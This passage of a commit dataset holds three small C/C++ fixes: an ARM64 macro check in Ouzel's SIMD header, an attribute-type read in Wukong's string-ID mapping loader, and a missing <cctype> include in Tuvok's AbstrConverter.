true;\n\t}\n\t}\n\n\treturn false;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Ouzel by Elviss Strazdins\n\n#ifndef OUZEL_MATH_SIMD_HPP\n#define OUZEL_MATH_SIMD_HPP\n\n#if defined(__SSE__) || defined(_M_X64) || _M_IX86_FP >= 1\n#  define OUZEL_SIMD_SSE\n#endif\n#if defined(__SSE2__) || defined(_M_X64) || _M_IX86_FP >= 2\n#  define OUZEL_SIMD_SSE2\n#endif\n#if defined(__ARM_NEON__)\n#  define OUZEL_SIMD_NEON\n#  if defined(__x86_64__)\n#    define OUZEL_SIMD_NEON64\n#  endif\n#endif\n\n#endif \/\/ OUZEL_MATH_SIMD_HPP\n<commit_msg>Fix the ARM64 check<commit_after>\/\/ Ouzel by Elviss Strazdins\n\n#ifndef OUZEL_MATH_SIMD_HPP\n#define OUZEL_MATH_SIMD_HPP\n\n#if defined(__SSE__) || defined(_M_X64) || _M_IX86_FP >= 1\n#  define OUZEL_SIMD_SSE\n#endif\n#if defined(__SSE2__) || defined(_M_X64) || _M_IX86_FP >= 2\n#  define OUZEL_SIMD_SSE2\n#endif\n#if defined(__ARM_NEON__)\n#  define OUZEL_SIMD_NEON\n#  if defined(__aarch64__)\n#    define OUZEL_SIMD_NEON64\n#  endif\n#endif\n\n#endif \/\/ OUZEL_MATH_SIMD_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2016 Shanghai Jiao Tong University.\n *     All rights reserved.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing,\n *  software distributed under the License is distributed on an \"AS\n *  IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n *  express or implied.  See the License for the specific language\n *  governing permissions and limitations under the License.\n *\n * For more about this software visit:\n *\n *      http:\/\/ipads.se.sjtu.edu.cn\/projects\/wukong\n *\n *\/\n\n#pragma once\n\n#include <string>\n#include <fstream>\n#include <iostream>\n#include <stdio.h>\n#include <dirent.h>\n#include <algorithm>\n#include <boost\/mpi.hpp>\n#include <boost\/unordered_map.hpp>\n#include <boost\/algorithm\/string\/predicate.hpp>\n\n#include \"global.hpp\"\n#include \"hdfs.hpp\"\n#include \"type.hpp\"\n\n\/\/ utils\n#include \"assertion.hpp\"\n\n\/\/ #define USE_BITRIE  \/\/ use bi-tire to store ID-STR mapping (reduce memory usage)\n#ifdef USE_BITRIE\n#include \"bitrie.hpp\"\n#endif\n\n\nusing namespace std;\n\nclass StringServer {\nprivate:\n#ifdef USE_BITRIE\n    bitrie<char, sid_t> bimap;  \/\/ ID-STRING (bi-)map\n#else\n    boost::unordered_map<string, sid_t> simap;  \/\/ STRING to ID\n    boost::unordered_map<sid_t, string> ismap;  \/\/ ID to STRING\n#endif\n\npublic:\n    \/\/ the data type of predicate\/attribute: sid=0, integer=1, float=2, double=3\n    boost::unordered_map<sid_t, char> pid2type;\n\n    uint64_t next_index_id;\n    uint64_t next_normal_id;\n\n    StringServer(string dname) {\n        uint64_t start = timer::get_usec();\n\n        next_index_id = 0;\n        next_normal_id = 0;\n\n        if (boost::starts_with(dname, \"hdfs:\")) {\n            if (!wukong::hdfs::has_hadoop()) {\n                logstream(LOG_ERROR) << \"attempting to load ID-mapping files from HDFS \"\n                                     << \"but Wukong was built without HDFS.\"\n                                     << LOG_endl;\n                exit(-1);\n            }\n            load_from_hdfs(dname);\n        } else\n            load_from_posixfs(dname);\n\n        uint64_t end = timer::get_usec();\n        logstream(LOG_INFO) << \"loading string server is finished (\"\n                            << (end - start) \/ 1000 << \" ms)\" << LOG_endl;\n    }\n\n#ifdef USE_BITRIE\n    bool exist(sid_t sid) { return bimap.exist(sid); }\n\n    bool exist(string str) { return bimap.exist(str); }\n\n    string id2str(sid_t sid) { return bimap[sid]; }\n\n    sid_t str2id(string str) { return bimap[str]; }\n\n    void add(string str, sid_t sid) { bimap.insert_kv(str, sid); }\n\n    void shrink() { bimap.storage_resize(); }\n#else\n    bool exist(sid_t sid) { return ismap.find(sid) != ismap.end(); }\n\n    bool exist(string str) { return simap.find(str) != simap.end(); }\n\n    string id2str(sid_t sid) { return ismap[sid]; }\n\n    sid_t str2id(string str) { return simap[str]; }\n\n    void add(string str, sid_t sid) { simap[str] = sid; ismap[sid] = str; }\n\n    void shrink() { }\n#endif\n\n\nprivate:\n    \/* load ID mapping files from a shared filesystem (e.g., NFS) *\/\n    void load_from_posixfs(string dname) {\n        DIR *dir = opendir(dname.c_str());\n        if (dir == NULL) {\n            logstream(LOG_ERROR) << \"failed to open the directory of ID-mapping files (\"\n                                 << dname << \").\" << LOG_endl;\n            exit(-1);\n        }\n\n        struct dirent *ent;\n        while ((ent = readdir(dir)) != NULL) {\n            if (ent->d_name[0] == '.')\n                continue;\n\n            string fname(dname + ent->d_name);\n            if (boost::ends_with(fname, \"\/str_index\")\n                    || boost::ends_with(fname, \"\/str_normal\")) {\n                logstream(LOG_INFO) << \"loading ID-mapping file: \" << fname << LOG_endl;\n                ifstream file(fname.c_str());\n                string str;\n                sid_t id;\n                while (file >> str >> id) {\n                    add(str, id);  \/\/ add a new ID-STRING (bi-direction) pair\n                    if (boost::ends_with(fname, \"\/str_index\"))\n                        pid2type[id] = (char)SID_t;\n                }\n                if (boost::ends_with(fname, \"\/str_index\"))\n                    next_index_id = ++id;\n                else\n                    next_normal_id = ++id;\n                file.close();\n            }\n\n            \/\/ load the attribute index from the str_attr_index file\n            \/\/ it contains by (string, predicate-ID, predicate-type)\n            \/\/ predicate type: SID_t, INT_t, FLOAT_t, DOUBLE_t\n            \/\/\n            \/\/ NOTE: the predicates\/attributes in str_attr_index should be exclusive\n            \/\/       to the predicates\/attributes in str_index\n            if (boost::ends_with(fname, \"\/str_attr_index\")) {\n                logstream(LOG_INFO) << \"loading ID-mapping (attribute) file: \" << fname << LOG_endl;\n                ifstream file(fname.c_str());\n                string str;\n                sid_t id;\n                char type;\n                while (file >> str >> id >> type) {\n                    add(str, id);  \/\/ add a new ID-STRING (bi-direction) pair\n                    pid2type[id] = (char)type;\n\n                    \/\/ FIXME: dynamic loading (next_index_id)\n                    logstream(LOG_INFO) << \" attribute[\" << id << \"] = \" << type << LOG_endl;\n                }\n                file.close();\n            }\n        }\n\n        shrink();  \/\/ save memory\n    }\n\n    \/* load ID mapping files from HDFS *\/\n    void load_from_hdfs(string dname) {\n        wukong::hdfs &hdfs = wukong::hdfs::get_hdfs();\n        vector<string> files = hdfs.list_files(dname);\n\n        for (int i = 0; i < files.size(); i++) {\n            string fname = files[i];\n            \/\/ NOTE: users may use a short path (w\/o ip:port)\n            \/\/ e.g., hdfs:\/xxx\/xxx\/\n            if (boost::ends_with(fname, \"\/str_index\")\n                    || boost::ends_with(fname, \"\/str_normal\")) {\n                logstream(LOG_INFO) << \"loading ID-mapping file from HDFS: \" << fname << LOG_endl;\n                wukong::hdfs::fstream file(hdfs, fname);\n                string str;\n                sid_t id;\n                while (file >> str >> id) {\n                    add(str, id);  \/\/ add a new ID-STRING (bi-direction) pair\n                    if (boost::ends_with(fname, \"\/str_index\"))\n                        pid2type[id] = (char)SID_t;\n                }\n                if (boost::ends_with(fname, \"\/str_index\"))\n                    next_index_id = ++id;\n                else\n                    next_normal_id = ++id;\n                file.close();\n            }\n\n            \/\/ load the attribute index from the str_attr_index file\n            \/\/ it contains by (string, predicate-ID, predicate-type)\n            \/\/ predicate type: SID_t, INT_t, FLOAT_t, DOUBLE_t\n            \/\/\n            \/\/ NOTE: the predicates\/attributes in str_attr_index should be exclusive\n            \/\/       to the predicates\/attributes in str_index\n            if (boost::ends_with(fname, \"\/str_attr_index\")) {\n                logstream(LOG_INFO) << \"loading ID-mapping (attribute) file: \" << fname << LOG_endl;\n                wukong::hdfs::fstream file(hdfs, fname);\n                string str;\n                sid_t id;\n                char type;\n                while (file >> str >> id >> type) {\n                    add(str, id); \/\/ add a new ID-STRING (bi-direction) pair\n                    pid2type[id] = (char)type;\n\n                    \/\/ FIXME: dynamic loading (next_index_id)\n                    logstream(LOG_INFO) << \" attribute[\" << id << \"] = \" << type << LOG_endl;\n                }\n                file.close();\n            }\n        }\n\n        shrink();  \/\/ save memory\n    }\n};\n<commit_msg>fix problem for attr<commit_after>\/*\n * Copyright (c) 2016 Shanghai Jiao Tong University.\n *     All rights reserved.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing,\n *  software distributed under the License is distributed on an \"AS\n *  IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n *  express or implied.  See the License for the specific language\n *  governing permissions and limitations under the License.\n *\n * For more about this software visit:\n *\n *      http:\/\/ipads.se.sjtu.edu.cn\/projects\/wukong\n *\n *\/\n\n#pragma once\n\n#include <string>\n#include <fstream>\n#include <iostream>\n#include <stdio.h>\n#include <dirent.h>\n#include <algorithm>\n#include <boost\/mpi.hpp>\n#include <boost\/unordered_map.hpp>\n#include <boost\/algorithm\/string\/predicate.hpp>\n\n#include \"global.hpp\"\n#include \"hdfs.hpp\"\n#include \"type.hpp\"\n\n\/\/ utils\n#include \"assertion.hpp\"\n\n\/\/ #define USE_BITRIE  \/\/ use bi-tire to store ID-STR mapping (reduce memory usage)\n#ifdef USE_BITRIE\n#include \"bitrie.hpp\"\n#endif\n\n\nusing namespace std;\n\nclass StringServer {\nprivate:\n#ifdef USE_BITRIE\n    bitrie<char, sid_t> bimap;  \/\/ ID-STRING (bi-)map\n#else\n    boost::unordered_map<string, sid_t> simap;  \/\/ STRING to ID\n    boost::unordered_map<sid_t, string> ismap;  \/\/ ID to STRING\n#endif\n\npublic:\n    \/\/ the data type of predicate\/attribute: sid=0, integer=1, float=2, double=3\n    boost::unordered_map<sid_t, char> pid2type;\n\n    uint64_t next_index_id;\n    uint64_t next_normal_id;\n\n    StringServer(string dname) {\n        uint64_t start = timer::get_usec();\n\n        next_index_id = 0;\n        next_normal_id = 0;\n\n        if (boost::starts_with(dname, \"hdfs:\")) {\n            if (!wukong::hdfs::has_hadoop()) {\n                logstream(LOG_ERROR) << \"attempting to load ID-mapping files from HDFS \"\n                                     << \"but Wukong was built without HDFS.\"\n                                     << LOG_endl;\n                exit(-1);\n            }\n            load_from_hdfs(dname);\n        } else\n            load_from_posixfs(dname);\n\n        uint64_t end = timer::get_usec();\n        logstream(LOG_INFO) << \"loading string server is finished (\"\n                            << (end - start) \/ 1000 << \" ms)\" << LOG_endl;\n    }\n\n#ifdef USE_BITRIE\n    bool exist(sid_t sid) { return bimap.exist(sid); }\n\n    bool exist(string str) { return bimap.exist(str); }\n\n    string id2str(sid_t sid) { return bimap[sid]; }\n\n    sid_t str2id(string str) { return bimap[str]; }\n\n    void add(string str, sid_t sid) { bimap.insert_kv(str, sid); }\n\n    void shrink() { bimap.storage_resize(); }\n#else\n    bool exist(sid_t sid) { return ismap.find(sid) != ismap.end(); }\n\n    bool exist(string str) { return simap.find(str) != simap.end(); }\n\n    string id2str(sid_t sid) { return ismap[sid]; }\n\n    sid_t str2id(string str) { return simap[str]; }\n\n    void add(string str, sid_t sid) { simap[str] = sid; ismap[sid] = str; }\n\n    void shrink() { }\n#endif\n\n\nprivate:\n    \/* load ID mapping files from a shared filesystem (e.g., NFS) *\/\n    void load_from_posixfs(string dname) {\n        DIR *dir = opendir(dname.c_str());\n        if (dir == NULL) {\n            logstream(LOG_ERROR) << \"failed to open the directory of ID-mapping files (\"\n                                 << dname << \").\" << LOG_endl;\n            exit(-1);\n        }\n\n        struct dirent *ent;\n        while ((ent = readdir(dir)) != NULL) {\n            if (ent->d_name[0] == '.')\n                continue;\n\n            string fname(dname + ent->d_name);\n            if (boost::ends_with(fname, \"\/str_index\")\n                    || boost::ends_with(fname, \"\/str_normal\")) {\n                logstream(LOG_INFO) << \"loading ID-mapping file: \" << fname << LOG_endl;\n                ifstream file(fname.c_str());\n                string str;\n                sid_t id;\n                while (file >> str >> id) {\n                    add(str, id);  \/\/ add a new ID-STRING (bi-direction) pair\n                    if (boost::ends_with(fname, \"\/str_index\"))\n                        pid2type[id] = (char)SID_t;\n                }\n                if (boost::ends_with(fname, \"\/str_index\"))\n                    next_index_id = ++id;\n                else\n                    next_normal_id = ++id;\n                file.close();\n            }\n\n            \/\/ load the attribute index from the str_attr_index file\n            \/\/ it contains by (string, predicate-ID, predicate-type)\n            \/\/ predicate type: SID_t, INT_t, FLOAT_t, DOUBLE_t\n            \/\/\n            \/\/ NOTE: the predicates\/attributes in str_attr_index should be exclusive\n            \/\/       to the predicates\/attributes in str_index\n            if (boost::ends_with(fname, \"\/str_attr_index\")) {\n                logstream(LOG_INFO) << \"loading ID-mapping (attribute) file: \" << fname << LOG_endl;\n                ifstream file(fname.c_str());\n                string str;\n                sid_t id;\n                int type;\n                while (file >> str >> id >> type) {\n                    add(str, id);  \/\/ add a new ID-STRING (bi-direction) pair\n                    pid2type[id] = (char)type;\n\n                    \/\/ FIXME: dynamic loading (next_index_id)\n                    logstream(LOG_INFO) << \" attribute[\" << id << \"] = \" << type << LOG_endl;\n                }\n                file.close();\n            }\n        }\n\n        shrink();  \/\/ save memory\n    }\n\n    \/* load ID mapping files from HDFS *\/\n    void load_from_hdfs(string dname) {\n        wukong::hdfs &hdfs = wukong::hdfs::get_hdfs();\n        vector<string> files = hdfs.list_files(dname);\n\n        for (int i = 0; i < files.size(); i++) {\n            string fname = files[i];\n            \/\/ NOTE: users may use a short path (w\/o ip:port)\n            \/\/ e.g., hdfs:\/xxx\/xxx\/\n            if (boost::ends_with(fname, \"\/str_index\")\n                    || boost::ends_with(fname, \"\/str_normal\")) {\n                logstream(LOG_INFO) << \"loading ID-mapping file from HDFS: \" << fname << LOG_endl;\n                wukong::hdfs::fstream file(hdfs, fname);\n                string str;\n                sid_t id;\n                while (file >> str >> id) {\n                    add(str, id);  \/\/ add a new ID-STRING (bi-direction) pair\n                    if (boost::ends_with(fname, \"\/str_index\"))\n                        pid2type[id] = (char)SID_t;\n                }\n                if (boost::ends_with(fname, \"\/str_index\"))\n                    next_index_id = ++id;\n                else\n                    next_normal_id = ++id;\n                file.close();\n            }\n\n            \/\/ load the attribute index from the str_attr_index file\n            \/\/ it contains by (string, predicate-ID, predicate-type)\n            \/\/ predicate type: SID_t, INT_t, FLOAT_t, DOUBLE_t\n            \/\/\n            \/\/ NOTE: the predicates\/attributes in str_attr_index should be exclusive\n            \/\/       to the predicates\/attributes in str_index\n            if (boost::ends_with(fname, \"\/str_attr_index\")) {\n                logstream(LOG_INFO) << \"loading ID-mapping (attribute) file: \" << fname << LOG_endl;\n                wukong::hdfs::fstream file(hdfs, fname);\n                string str;\n                sid_t id;\n                char type;\n                while (file >> str >> id >> type) {\n                    add(str, id); \/\/ add a new ID-STRING (bi-direction) pair\n                    pid2type[id] = (char)type;\n\n                    \/\/ FIXME: dynamic loading (next_index_id)\n                    logstream(LOG_INFO) << \" attribute[\" << id << \"] = \" << type << LOG_endl;\n                }\n                file.close();\n            }\n        }\n\n        shrink();  \/\/ save memory\n    }\n};\n<|endoftext|>"}
{"text":"<commit_before>\/*\n   For more information, please see: http:\/\/software.sci.utah.edu\n\n   The MIT License\n\n   Copyright (c) 2008 Scientific Computing and Imaging Institute,\n   University of Utah.\n\n\n   Permission is hereby granted, free of charge, to any person obtaining a\n   copy of this software and associated documentation files (the \"Software\"),\n   to deal in the Software without restriction, including without limitation\n   the rights to use, copy, modify, merge, publish, distribute, sublicense,\n   and\/or sell copies of the Software, and to permit persons to whom the\n   Software is furnished to do so, subject to the following conditions:\n\n   The above copyright notice and this permission notice shall be included\n   in all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n   OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n   THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n   FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n   DEALINGS IN THE SOFTWARE.\n*\/\n\n\/**\n  \\file    AbstrConverter.cpp\n  \\author  Jens Krueger\n           SCI Institute\n           University of Utah\n  \\date    December 2008\n*\/\n\n#include \"StdTuvokDefines.h\"\n\n#include <algorithm>\n#include <iterator>\n#include <string>\n#ifdef DETECTED_OS_WINDOWS\n# include <array>\n#else\n# include <tr1\/array>\n#endif\n#include \"AbstrConverter.h\"\n#include \"IOManager.h\"  \/\/ for the size defines\n#include \"Controller\/Controller.h\"\n#include \"UVF\/Histogram1DDataBlock.h\"\n#include \"Quantize.h\"\n\nusing namespace tuvok;\n\nbool AbstrConverter::CanRead(const std::string& fn,\n                             const std::tr1::array<int8_t, 512>&) const\n{\n  std::string ext = SysTools::GetExt(fn);\n  std::transform(ext.begin(), ext.end(), ext.begin(),\n                 (int(*)(int))std::toupper);\n  return SupportedExtension(ext);\n}\n\n\/\/\/ @param ext the extension for the filename\n\/\/\/ @return true if the filename is a supported extension for this converter\nbool AbstrConverter::SupportedExtension(const std::string& ext) const\n{\n  return std::find(m_vSupportedExt.begin(), m_vSupportedExt.end(), ext) !=\n          m_vSupportedExt.end();\n}\n\n\nconst std::string\nAbstrConverter::Process8Bits(UINT64 iHeaderSkip,\n                             const std::string& strFilename,\n                             const std::string& strTargetFilename,\n                             UINT64 iSize, bool bSigned,\n                             Histogram1DDataBlock* Histogram1D) {\n  size_t iCurrentInCoreSize = GetIncoreSize();\n\n  LargeRAWFile InputData(strFilename, iHeaderSkip);\n  InputData.Open(false);\n  UINT64 iPercent = iSize \/ 100;\n\n  if (!InputData.IsOpen()) return \"\";\n\n  std::vector<UINT64> aHist(256);\n  std::fill(aHist.begin(), aHist.end(), 0);\n\n  std::string strSignChangedFile;\n  if (bSigned)  {\n    MESSAGE(\"Changing signed to unsigned char and computing 1D histogram...\");\n    LargeRAWFile OutputData(strTargetFilename);\n    OutputData.Create(iSize);\n\n    if (!OutputData.IsOpen()) {\n      InputData.Close();\n      return \"\";\n    }\n\n    signed char* pInData = new signed char[iCurrentInCoreSize];\n\n    UINT64 iPos = 0;\n    while (iPos < iSize)  {\n      size_t iRead = InputData.ReadRAW((unsigned char*)pInData, iCurrentInCoreSize);\n      if (iRead == 0) break;\n\n      for (size_t i = 0;i<iRead;i++) {\n        pInData[i] += 128;\n        if (Histogram1D) aHist[(unsigned char)pInData[i]]++;\n      }\n      OutputData.WriteRAW((unsigned char*)pInData, iRead);\n      iPos += UINT64(iRead);\n    }\n\n    if (iPos < iSize) {\n      WARNING(\"Specified size and real datasize mismatch\");\n    }\n\n    delete [] pInData;\n    strSignChangedFile = strTargetFilename;\n    OutputData.Close();\n  } else {\n    if (Histogram1D) {\n      MESSAGE(\"Computing 1D Histogram...\");\n      unsigned char* pInData = new unsigned char[iCurrentInCoreSize];\n\n      UINT64 iPos = 0;\n      UINT64 iDivLast = 0;\n      while (iPos < iSize)  {\n        size_t iRead = InputData.ReadRAW((unsigned char*)pInData, iCurrentInCoreSize);\n        if (iRead == 0) break;\n        for (size_t i = 0;i<iRead;i++) aHist[pInData[i]]++;\n        iPos += UINT64(iRead);\n\n        if (iPercent > 1 && (100*iPos)\/iSize > iDivLast) {\n          MESSAGE(\"Computing 1D Histogram (%u%% complete)\",\n                  static_cast<unsigned>((100*iPos)\/iSize));\n          iDivLast = (100*iPos)\/iSize;\n        }\n      }\n\n      if (iPos < iSize) {\n        WARNING(\"Specified size and real datasize mismatch\");\n      }\n\n      MESSAGE(\"1D Histogram complete\");\n      delete [] pInData;\n    }\n    strSignChangedFile = strFilename;\n  }\n\n  InputData.Close();\n  if ( Histogram1D ) Histogram1D->SetHistogram(aHist);\n\n  return strSignChangedFile;\n}\n\nsize_t AbstrConverter::GetIncoreSize() {\n  if (Controller::Instance().IOMan())\n    return size_t(Controller::Instance().IOMan()->GetIncoresize());\n  else\n    return DEFAULT_INCORESIZE;\n}\n\nconst std::string\nAbstrConverter::QuantizeTo8Bit(UINT64 iHeaderSkip,\n                               const std::string& strFilename,\n                               const std::string& strTargetFilename,\n                               UINT64 iComponentSize,\n                               UINT64 iSize,\n                               bool bSigned,\n                               bool bIsFloat,\n                               Histogram1DDataBlock* Histogram1D) {\n  std::string intermFile = \"\";\n  switch (iComponentSize) {\n    case 8:\n      intermFile = Process8Bits(iHeaderSkip, strFilename,\n                                strTargetFilename, iSize, bSigned,\n                                Histogram1D);\n      break;\n    case 16 :\n      if(bSigned) {\n        intermFile = Quantize<short, unsigned char>(iHeaderSkip, strFilename,\n                                                    strTargetFilename, iSize,\n                                                    Histogram1D);\n      } else {\n        intermFile = Quantize<unsigned short, unsigned char>\n                             (iHeaderSkip, strFilename,\n                              strTargetFilename, iSize, Histogram1D);\n      }\n      break;\n    case 32 :\n      if (bIsFloat) {\n        intermFile = Quantize<float, unsigned char>(iHeaderSkip, strFilename,\n                                          strTargetFilename, iSize,\n                                          Histogram1D);\n      } else {\n        if(bSigned) {\n          intermFile = Quantize<int, unsigned char>(iHeaderSkip, strFilename,\n                                          strTargetFilename, iSize, Histogram1D);\n        } else {\n          intermFile = Quantize<unsigned, unsigned char>(iHeaderSkip, strFilename,\n                                               strTargetFilename, iSize,\n                                               Histogram1D);\n        }\n      }\n      break;\n    case 64 :\n      if (bIsFloat) {\n        intermFile = Quantize<double, unsigned char>(iHeaderSkip, strFilename,\n                                           strTargetFilename, iSize,\n                                           Histogram1D);\n      } else {\n        if(bSigned) {\n          intermFile = Quantize<boost::int64_t, unsigned char>(\n            iHeaderSkip, strFilename, strTargetFilename, iSize, Histogram1D\n          );\n        } else {\n          intermFile = Quantize<UINT64, unsigned char>(iHeaderSkip, strFilename,\n                                             strTargetFilename, iSize,\n                                             Histogram1D);\n        }\n      }\n      break;\n  }\n\n  return intermFile;\n}\n<commit_msg>Fix win32 compilation error.<commit_after>\/*\n   For more information, please see: http:\/\/software.sci.utah.edu\n\n   The MIT License\n\n   Copyright (c) 2008 Scientific Computing and Imaging Institute,\n   University of Utah.\n\n\n   Permission is hereby granted, free of charge, to any person obtaining a\n   copy of this software and associated documentation files (the \"Software\"),\n   to deal in the Software without restriction, including without limitation\n   the rights to use, copy, modify, merge, publish, distribute, sublicense,\n   and\/or sell copies of the Software, and to permit persons to whom the\n   Software is furnished to do so, subject to the following conditions:\n\n   The above copyright notice and this permission notice shall be included\n   in all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n   OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n   THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n   FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n   DEALINGS IN THE SOFTWARE.\n*\/\n\n\/**\n  \\file    AbstrConverter.cpp\n  \\author  Jens Krueger\n           SCI Institute\n           University of Utah\n  \\date    December 2008\n*\/\n\n#include \"StdTuvokDefines.h\"\n\n#include <algorithm>\n#include <iterator>\n#include <string>\n#ifdef DETECTED_OS_WINDOWS\n# include <array>\n#else\n# include <tr1\/array>\n#endif\n#include <cctype>\n#include \"AbstrConverter.h\"\n#include \"IOManager.h\"  \/\/ for the size defines\n#include \"Controller\/Controller.h\"\n#include \"UVF\/Histogram1DDataBlock.h\"\n#include \"Quantize.h\"\n\nusing namespace tuvok;\n\nbool AbstrConverter::CanRead(const std::string& fn,\n                             const std::tr1::array<int8_t, 512>&) const\n{\n  std::string ext = SysTools::GetExt(fn);\n  std::transform(ext.begin(), ext.end(), ext.begin(),\n                 (int(*)(int))std::toupper);\n  return SupportedExtension(ext);\n}\n\n\/\/\/ @param ext the extension for the filename\n\/\/\/ @return true if the filename is a supported extension for this converter\nbool AbstrConverter::SupportedExtension(const std::string& ext) const\n{\n  return std::find(m_vSupportedExt.begin(), m_vSupportedExt.end(), ext) !=\n          m_vSupportedExt.end();\n}\n\n\nconst std::string\nAbstrConverter::Process8Bits(UINT64 iHeaderSkip,\n                             const std::string& strFilename,\n                             const std::string& strTargetFilename,\n                             UINT64 iSize, bool bSigned,\n                             Histogram1DDataBlock* Histogram1D) {\n  size_t iCurrentInCoreSize = GetIncoreSize();\n\n  LargeRAWFile InputData(strFilename, iHeaderSkip);\n  InputData.Open(false);\n  UINT64 iPercent = iSize \/ 100;\n\n  if (!InputData.IsOpen()) return \"\";\n\n  std::vector<UINT64> aHist(256);\n  std::fill(aHist.begin(), aHist.end(), 0);\n\n  std::string strSignChangedFile;\n  if (bSigned)  {\n    MESSAGE(\"Changing signed to unsigned char and computing 1D histogram...\");\n    LargeRAWFile OutputData(strTargetFilename);\n    OutputData.Create(iSize);\n\n    if (!OutputData.IsOpen()) {\n      InputData.Close();\n      return \"\";\n    }\n\n    signed char* pInData = new signed char[iCurrentInCoreSize];\n\n    UINT64 iPos = 0;\n    while (iPos < iSize)  {\n      size_t iRead = InputData.ReadRAW((unsigned char*)pInData, iCurrentInCoreSize);\n      if (iRead == 0) break;\n\n      for (size_t i = 0;i<iRead;i++) {\n        pInData[i] += 128;\n        if (Histogram1D) aHist[(unsigned char)pInData[i]]++;\n      }\n      OutputData.WriteRAW((unsigned char*)pInData, iRead);\n      iPos += UINT64(iRead);\n    }\n\n    if (iPos < iSize) {\n      WARNING(\"Specified size and real datasize mismatch\");\n    }\n\n    delete [] pInData;\n    strSignChangedFile = strTargetFilename;\n    OutputData.Close();\n  } else {\n    if (Histogram1D) {\n      MESSAGE(\"Computing 1D Histogram...\");\n      unsigned char* pInData = new unsigned char[iCurrentInCoreSize];\n\n      UINT64 iPos = 0;\n      UINT64 iDivLast = 0;\n      while (iPos < iSize)  {\n        size_t iRead = InputData.ReadRAW((unsigned char*)pInData, iCurrentInCoreSize);\n        if (iRead == 0) break;\n        for (size_t i = 0;i<iRead;i++) aHist[pInData[i]]++;\n        iPos += UINT64(iRead);\n\n        if (iPercent > 1 && (100*iPos)\/iSize > iDivLast) {\n          MESSAGE(\"Computing 1D Histogram (%u%% complete)\",\n                  static_cast<unsigned>((100*iPos)\/iSize));\n          iDivLast = (100*iPos)\/iSize;\n        }\n      }\n\n      if (iPos < iSize) {\n        WARNING(\"Specified size and real datasize mismatch\");\n      }\n\n      MESSAGE(\"1D Histogram complete\");\n      delete [] pInData;\n    }\n    strSignChangedFile = strFilename;\n  }\n\n  InputData.Close();\n  if ( Histogram1D ) Histogram1D->SetHistogram(aHist);\n\n  return strSignChangedFile;\n}\n\nsize_t AbstrConverter::GetIncoreSize() {\n  if (Controller::Instance().IOMan())\n    return size_t(Controller::Instance().IOMan()->GetIncoresize());\n  else\n    return DEFAULT_INCORESIZE;\n}\n\nconst std::string\nAbstrConverter::QuantizeTo8Bit(UINT64 iHeaderSkip,\n                               const std::string& strFilename,\n                               const std::string& strTargetFilename,\n                               UINT64 iComponentSize,\n                               UINT64 iSize,\n                               bool bSigned,\n                               bool bIsFloat,\n                               Histogram1DDataBlock* Histogram1D) {\n  std::string intermFile = \"\";\n  switch (iComponentSize) {\n    case 8:\n      intermFile = Process8Bits(iHeaderSkip, strFilename,\n                                strTargetFilename, iSize, bSigned,\n                                Histogram1D);\n      break;\n    case 16 :\n      if(bSigned) {\n        intermFile = Quantize<short, unsigned char>(iHeaderSkip, strFilename,\n                                                    strTargetFilename, iSize,\n                                                    Histogram1D);\n      } else {\n        intermFile = Quantize<unsigned short, unsigned char>\n                             (iHeaderSkip, strFilename,\n                              strTargetFilename, iSize, Histogram1D);\n      }\n      break;\n    case 32 :\n      if (bIsFloat) {\n        intermFile = Quantize<float, unsigned char>(iHeaderSkip, strFilename,\n                                          strTargetFilename, iSize,\n                                          Histogram1D);\n      } else {\n        if(bSigned) {\n          intermFile = Quantize<int, unsigned char>(iHeaderSkip, strFilename,\n                                          strTargetFilename, iSize, Histogram1D);\n        } else {\n          intermFile = Quantize<unsigned, unsigned char>(iHeaderSkip, strFilename,\n                                               strTargetFilename, iSize,\n                                               Histogram1D);\n        }\n      }\n      break;\n    case 64 :\n      if (bIsFloat) {\n        intermFile = Quantize<double, unsigned char>(iHeaderSkip, strFilename,\n                                           strTargetFilename, iSize,\n                                           Histogram1D);\n      } else {\n        if(bSigned) {\n          intermFile = Quantize<boost::int64_t, unsigned char>(\n            iHeaderSkip, strFilename, strTargetFilename, iSize, Histogram1D\n          );\n        } else {\n          intermFile = Quantize<UINT64, unsigned char>(iHeaderSkip, strFilename,\n                                             strTargetFilename, iSize,\n                                             Histogram1D);\n        }\n      }\n      break;\n  }\n\n  return intermFile;\n}\n<|endoftext|>"}
